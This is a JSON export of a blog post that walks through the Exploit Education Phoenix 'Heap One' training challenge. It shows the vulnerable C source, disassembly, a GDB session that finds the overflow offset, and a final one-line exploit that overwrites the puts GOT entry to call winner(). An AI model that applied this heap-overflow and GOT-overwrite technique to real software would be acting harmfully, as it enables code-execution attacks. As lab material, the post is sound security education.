{"id":631,"date":"2019-08-10T18:31:53","date_gmt":"2019-08-10T22:31:53","guid":{"rendered":"https:\/\/blog.lamarranet.com\/?p=631"},"modified":"2021-05-10T06:18:25","modified_gmt":"2021-05-10T10:18:25","slug":"exploit-education-phoenix-heap-one-solution","status":"publish","type":"post","link":"https:\/\/blog.lamarranet.com\/index.php\/exploit-education-phoenix-heap-one-solution\/","title":{"rendered":"Exploit Education | Phoenix | Heap One Solution"},"content":{"rendered":"<p>This level explores what can be done with data overwrites.<\/p>\n<p>The description and source code can be found here:<br \/>\n<a href=\"http:\/\/exploit.education\/phoenix\/heap-one\/\">http:\/\/exploit.education\/phoenix\/heap-one\/<\/a><\/p>\n<p>Fundamentally, this level is not much different than the last one. I&#8217;ll be using a buffer overflow exploit. Though this one is a little trickier. We can see what needs to be done just by looking at the source code:<\/p>\n<pre class=\"brush: cpp; title: ; notranslate\" title=\"\">struct heapStructure {\r\n    int priority;\r\n    char *name;\r\n};\r\n\r\nint main(int argc, char **argv) {\r\n    struct heapStructure *i1, *i2;\r\n\r\n    i1 = malloc(sizeof(struct heapStructure));\r\n    i1-&amp;gt;priority = 1;\r\n    i1-&amp;gt;name = malloc(8);\r\n\r\n    i2 = malloc(sizeof(struct heapStructure));\r\n    i2-&amp;gt;priority = 2;\r\n    i2-&amp;gt;name = malloc(8);\r\n\r\n    strcpy(i1-&amp;gt;name, argv&#x5B;1]);\r\n    strcpy(i2-&amp;gt;name, argv&#x5B;2]);\r\n\r\n    printf(&quot;and that's a wrap folks!\\n&quot;);\r\n}\r\n\r\nvoid winner() {\r\n    printf(\r\n        &quot;Congratulations, you've completed this level @ %ld seconds past the &quot;\r\n        &quot;Epoch\\n&quot;,\r\n        time(NULL));\r\n}<\/pre>\n<p>The program allocates 2 pointers on the stack that will point to a struct being stored on the heap. The first struct gets memory allocated to it via<span style=\"font-family: Courier New; font-weight: bold;\"> malloc()<\/span>, assigns a number to the <strong>priority<\/strong> variable, and allocates another 8 bytes in the heap for the <strong>name<\/strong> variable. Then the same thing happens for the second struct. The key here is that the <strong>name<\/strong> variable in the struct is a pointer. That&#8217;s important because next, the program uses<span style=\"font-family: Courier New; font-weight: bold;\"> strcpy() <\/span>to copy the first and second program arguments to the <strong>name<\/strong> variables for each struct. Since<span style=\"font-family: Courier New; font-weight: bold;\"> strcpy() <\/span>does no bounds checking, I should be able to overflow the buffer of the first <strong>name<\/strong> variable and overwrite the pointer to the second <strong>name<\/strong> variable. Now I can use the second <span style=\"font-family: Courier New; font-weight: bold;\"> strcpy() <\/span>to write (almost) whatever I want to (almost) wherever I want. The goal here is to execute the<span style=\"font-family: Courier New; font-weight: bold;\"> winner() <\/span>function. The source code shows one last call to<span style=\"font-family: Courier New; font-weight: bold;\"> printf() <\/span>functionbefore the program exits. Maybe I can overwrite the GOT entry for that with the address of the<span style=\"font-family: Courier New; font-weight: bold;\"> winner() <\/span>function.<\/p>\n<p>Looking at the disassembly, we see a call to<span style=\"font-family: Courier New; font-weight: bold;\"> puts()<\/span> near the end of<span style=\"font-family: Courier New; font-weight: bold;\"> main()<\/span>. Sometimes, the compiler optimization will use that instead of<span style=\"font-family: Courier New; font-weight: bold;\"> printf()<\/span>.<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">user@phoenix-amd64:~$ cd \/opt\/phoenix\/i486\r\nuser@phoenix-amd64:\/opt\/phoenix\/i486$ objdump --no-show-raw-insn -Mintel -d heap-one\r\n...\r\n 8048878:       add    esp,0x10\r\n 804887b:       sub    esp,0xc\r\n 804887e:       push   0x804ab70\r\n 8048883:       call   80485b0 &amp;lt;puts@plt&amp;gt;\r\n 8048888:       add    esp,0x10\r\n 804888b:       mov    eax,0x0\r\n 8048890:       lea    esp,&#x5B;ebp-0x8]\r\n 8048893:       pop    ecx\r\n 8048894:       pop    ebx\r\n 8048895:       pop    ebp\r\n 8048896:       lea    esp,&#x5B;ecx-0x4]\r\n 8048899:       ret\r\n...<\/pre>\n<p>I&#8217;ll need to run the program in GDB to determine the distance between the start of the <strong>name<\/strong> buffer and the pointer to the second <strong>name<\/strong> variable. I&#8217;ll set a breakpoint after the second call to<span style=\"font-family: Courier New; font-weight: bold;\"> strcpy() <\/span> so I can search the memory for my input string.<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">$ gdb -q heap-one\r\nGEF for linux ready, type `gef' to start, `gef config' to configure\r\n71 commands loaded for GDB 8.2.1 using Python engine 3.5\r\n&#x5B;*] 2 commands could not be loaded, run `gef missing` to know why.\r\nReading symbols from heap-one...(no debugging symbols found)...done.\r\n\r\ngef\u27a4 disas main\r\nDump of assembler code for function main:\r\n...\r\n   0x08048873 &amp;lt;+158&amp;gt;:   call   0x8048560 &amp;lt;strcpy@plt&amp;gt;\r\n   0x08048878 &amp;lt;+163&amp;gt;:   add    esp,0x10\r\n...\r\n\r\ngef\u27a4 b *main+163\r\nBreakpoint 1 at 0x8048878\r\n\r\ngef\u27a4 run ABACAD AAAA\r\nStarting program: \/opt\/phoenix\/i486\/heap-one ABACAD AAAA\r\n\r\n&#x5B;... GEF output snipped ...]\r\n\r\ngef\u27a4 search-pattern ABACAD\r\n&#x5B;+] Searching 'ABACAD' in memory\r\n&#x5B;+] In (0xf7e69000-0xf7f69000), permission=rwx\r\n  0xf7e69018 - 0xf7e6901e  \u2192   &quot;ABACAD&quot;\r\n&#x5B;+] In '&#x5B;stack]'(0xfffdd000-0xffffe000), permission=rwx\r\n  0xffffd8dd - 0xffffd8e3  \u2192   &quot;ABACAD&quot;\r\n\r\ngef\u27a4 x\/16wx 0xf7e69000\r\n0xf7e69000:     0x00000000      0x00000011      0x00000001      0xf7e69018\r\n0xf7e69010:     0x00000000      0x00000011      0x43414241      0x00004441\r\n0xf7e69020:     0x00000000      0x00000011      0x00000002      0xf7e69038\r\n0xf7e69030:     0x00000000      0x00000011      0x41414141      0x00000000\r\n\r\ngef\u27a4 p 0xf7e6902c - 0xf7e69018\r\n$1 = 0x14<\/pre>\n<p>I found the location in the heap I was looking for and saw that the buffer for the first <strong>name<\/strong> variable begins at 0xf7e69018 and the pointer to the second <strong>name<\/strong> variable begins at 0xf7e6902c, which puts them 20 bytes (0x14) apart. Now I need the pointer to the<span style=\"font-family: Courier New; font-weight: bold;\"> puts() <\/span>address in the GOT so I can overwrite it as well as the address of the<span style=\"font-family: Courier New; font-weight: bold;\"> winner() <\/span>function:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">$ objdump --no-show-raw-insn -Mintel -d heap-one\r\n...\r\n080485b0 &amp;lt;puts@plt&amp;gt;:\r\n 80485b0:       jmp    DWORD PTR ds:0x804c140\r\n 80485b6:       push   0x28\r\n 80485bb:       jmp    8048550 &amp;lt;.plt&amp;gt;\r\n...\r\n\r\n$ nm heap-one | grep winner\r\n0804889a T winner<\/pre>\n<p>Now to put it all together:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">$ .\/heap-one $(python -c 'print &quot;A&quot;*20 + &quot;\\x40\\xc1\\x04\\x08&quot;') $(echo -e &quot;\\x9a\\x88\\x04\\x08&quot;)\r\nCongratulations, you've completed this level @ 1565476156 seconds past the Epoch<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>This level explores what can be done with data overwrites &hellip; <a href=\"https:\/\/blog.lamarranet.com\/index.php\/exploit-education-phoenix-heap-one-solution\/\" class=\"more-link\"><span class=\"readmore\">Continue reading<span class=\"screen-reader-text\">Exploit Education | Phoenix | Heap One Solution<\/span><\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"class_list":["post-631","post","type-post","status-publish","format-standard","hentry","category-solutions"],"_links":{"self":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/631","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/comments?post=631"}],"version-history":[{"count":16,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/631\/revisions"}],"predecessor-version":[{"id":1545,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/631\/revisions\/1545"}],"wp:attachment":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/media?parent=631"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/categories?post=631"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/tags?post=631"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}